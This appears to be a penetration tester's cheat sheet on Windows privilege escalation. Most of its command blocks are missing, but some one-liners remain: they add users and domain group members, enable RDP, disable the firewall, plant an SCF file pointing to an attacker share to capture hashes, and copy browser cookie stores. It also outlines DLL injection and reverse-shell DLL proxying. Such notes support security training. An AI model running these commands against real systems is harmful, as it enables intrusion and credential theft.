Windows Privilege Escalation

Windows Privilege Escalation

General and Useful shortlist command

powershell -ex bypass
  • add user

net user /add username password
  • add user to group

net localgroup groupname /add user
net group "Exchange Windows Permissions" svc-alfresco /add /domain
  • Enable rdp (need administrator)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  • Disable firewall

netsh advfirewall set allprofiles state off
  • Enable only remote desktop

netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
  • Using nxc

netexec smb $IP -u administrator -p pass123 -M rdp -o ACTION=enable
  • Check permission on file or dir

  • share smb (on attacker machine)

  • Run as

  • Sharing folder using Dir properties -> https://youtu.be/jBfdlLybMek?si=qd9bu1ch_VPBO4Cm&t=8408

Initial Enumeration

User and Groups Enumeration

  • Logged-In user

  • Current User

  • Privilges

  • Groups Information

  • All User on local machine

  • All grous

  • Details about user

  • Detail about a group

  • Pass policy

  • Local User Description

  • Computer Description

OS and Process Enumeration

  • Info About OS

  • Process Running

  • Env variables set

  • Systeminfo

  • Patches and Updates

  • Installed programs

  • Running Programs

  • Running process and owner (not always work)

  • Get process on main windows (displayed)

  • Running Process with open port

  • Get all services

  • Get info about services

  • Get all scheduled tasks

  • Enumerate installed programs

  • Enumerate local ports

  • Enumerate Process ID

  • Enumerate Running Service

    • get-service | ? {$_.DisplayName -like 'Druva*'}

    • Get-CimInstance Win32_Service | Format-List *

  • Modifying PowerShell Execution Policy

    • Set-ExecutionPolicy Bypass -Scope Process

  • Installed Programs without permission (works on winrm)

  • Search program by name

Process Monitor

  • procmon from powershell

  • sysinternals

  • How use procmon from command line

  • Enumerate all services and process and print also current owner

Network

  • Get Info About IP and network card

  • ARP Table:

  • Routing table

Enumeration Protection

  • Windows Defender

  • AppLocker

  • Test AppLocker

  • Disable realtime

Named Pipe

Searching File & Creds

Searching File

  • Find file

  • Search only file name:

  • Search file content CMD:

  • Search file content PowerShell

  • Search file extension CMD

  • Search file extension PowerShell

Interesting File/Directories

  • From file extract extract password

  • Interesting file

  • Sticky notes

  • PowerShell history

Powershell Command

Saved Credentials List

  • Execute SharpChrome for extracting data from DPAPI - https://github.com/GhostPack/SharpDPAPI/blob/master/README.md

  • Password Manager

    • Keepass -> kdbx -> keepass2jhon -> hashcat/jhon

  • Mail

    • MailSniper

  • Lazagne - https://github.com/AlessandroZ/LaZagne - Credentials recovery project

  • SessionGopher

Clear-Text Password in the Registry

  • Windows Autologon - If 1 is enabled

  • Putty session file

Wifi Password

VHDX/VMDK

  • Mount Linux

Misconfiguration

  • AlwaysInstallelevated

  • Exploit

  • Generating MSI

  • Execute MSI

  • BypassUAC - user account control

Share with write permssion

  • SCF on a File Share

    • Icon on attacker machine UNC IconFile=\\10.10.14.3\share\legit.ico

    • Starting Responder/Inveigh/InveighZero

    • Cracking using hashcat -m 5600

  • Malicious lnk file - LnkBomb LnkBomb

Pillaging

  • Enumerate Installed applications

  • Using Registry Key

  • Enumerate Installed services

    • Websites

    • File Shares

    • Databases

    • Directory Services (such as Active Directory, Azure AD, etc.)

    • Name Servers

    • Deployment Services

    • Certificate Authority

    • Source Code Management Server

    • Virtualization

    • Messaging

    • Monitoring and Logging Systems

    • Backups

  • Sensitive Data

    • Keylogging

    • Screen Capture

    • Network Traffic Capture

    • Previous Audit reports

  • User Information

    • History files, interesting documents (.doc/x,.xls/x,password/.pass, etc)

    • Roles and Privileges

    • Web Browsers

      • Firefox %APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release

        • copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .

        • CookieExtractor CookieExtractor

      • Chrome

        • SharpChromium - SharpChromium

        • Fix copy for Invoke-SharpChromium copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"

        • InvokeSharpChromium - Invoke-SharpChromium

    • IM Clients

      • Slack/Teams

If Administrator privilege, we can run mimikatz

  • Run mimikatz mimikatz

Windows User Privileges

SeImpersonate and SeAssignPrimaryToken

SeDebugPrivilege

  • Using procdump

  • Exploit SYSTEM from child process

  • Get info about winlogon

SeTakeOwnershipPrivilege

  • https://github.com/fashionproof/EnableAllTokenPrivs

  • Choosing Target File

  • Checking File Ownership

  • Take Ownership

  • Modify FILE ACL

Windows Groups Privileges

Backup Operators

  • Enable Flag SeBackupPrivileg https://github.com/giuliano108/SeBackupPrivilege

  • Resources -> Exploit

  • Start backup

  • save system

  • save sam

  • extracting using impacket

  • Extracting Cred from NTDS.dit

  • Extracting

  • Create a copy

Event Log Readers

DnsAdmins

  • Generate malicious dll

  • Get info about group DNSAdmins

  • Change dll

  • Restart DNS Services (could be distruptive)

  • Get SID user

  • Check permission on DNSService

Hyper-V Administrators

  • EnablePrivilges

  • Verifiy Driver is Loaded

Server Operators

  • Find Services that run in SYSTEM ad es., AppReadiness

  • Check Permission with PsService

  • Change binPath

  • Start Service

User Account Control

  • Checking if UAC is enabled

  • Checking UAC Level

  • Checking Windows Version

  • Reviewing PATH

Weak Permission

Permissive File System ACLs

  • Using

for searching services modifiable ad es., SecurityService

  • Check permission

  • Change executable

  • Restart Services

Weak Service Permissions

  • Run

  • Using accesschk for reviewing permission about services

  • Query all services

  • Change binpath

  • Stop service

  • Restart

  • Reverting to initial state

  • In casi di permesso di shutdown e il servizio è autorun

Unquoted Services

  • Querying service

  • Searching unquoted services

Scheduled Task

Permissive Registry ACLs

  • Checking Weak Service ACLs in Registry

  • Changing ImagePath with PowerShell

  • Modifiable Registry Autorun Binary

  • https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html#privilege-escalation-with-autoruns

  • https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/LogonAutostartExecutionRegistryRunKeys.md

Kernel Exploit

LOLBAS

  • Collection

  • Transfer file

  • Encodign File

  • Decoding file

  • Execute dll

DLL Injection/Hijacking

  • DLL injection

    • is a method that involves inserting a piece of code, structured as a Dynamic Link Library (DLL), into a running process.

    • Execute an arbitrary DLL inside another process

      1. Locate the process to inject the malicious DLL CreateToolhelp32Snapshot, Process32First, Process32Next

      2. Open the process: GetModuleHandle, GetProcAddress, OpenProcess

      3. Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory

      4. Create a thread in the process that will load the malicious DLL CreateRemoteThread, LoadLibrary

      5. Other functions to use: NTCreateThreadEx, RtlCreateUserThread

    • LoadLibrary

    • Manual Mapping

    • Resources

  • DLL Hijacking

    • DLL Hijacking is an exploitation technique where an attacker capitalizes on the Windows DLL loading process.

      • DLL Replacement: replace a legitimate DLL with an evil DLL. Combined with DLL Proxying

      • DLL Search Order Hijacking: Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL Ref -[Ref.]

      • Phantom DLL hijacking: Drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load.

      • DLL redirection: change the location in which the DLL is searched for, e.g. by editing the %PATH% environment variable, or .exe.manifest / .exe.local .Ref [Ref.]

      • WinSxS DLL replacement: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often DLL side-loading. Ref - [Ref.]

      • Relative path DLL Hijacking: Copy the legitimate application to a user-writable folder, alongside the evil DLL.

    • Find Missing DLL

      • procmonfilterResults contain not Found and → Paths end with .dll

    • To escalate privileges

      • Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.

      • Ensure write access is available for any directory in which the DLL will be searched for icacls “Path-To-Dir”

    • Tools

      • winpeas

      • siofra - Siofra

      • powersploit

        • Find-ProcessDLLHijack

        • Find-PathDLLHijack

        • Write-HijackDll

    • Resources

  • DLL Reflective

  • DLL SideLoading

  • DLL Proxying

    • Basically a Dll proxy is a Dll capable of execute your malicious code when loaded but also to expose and work as exected by relaying all the calls to the real library.

    • Get RevShell (N.B. is very important arch used)

  • msfconsole -> use multi/handler

  • Write Code

  • How to compile dll

  • x64

  • x86

  • Link to Windows Sockets 2, necessary for rev shell

  • Alternative use VisualStudio e C#

  • Using go:

  • How to check if DLL work

  • Tools

    • Procmon

    • Process Explorer

    • VisualStudio

Resources

Tools

Last updated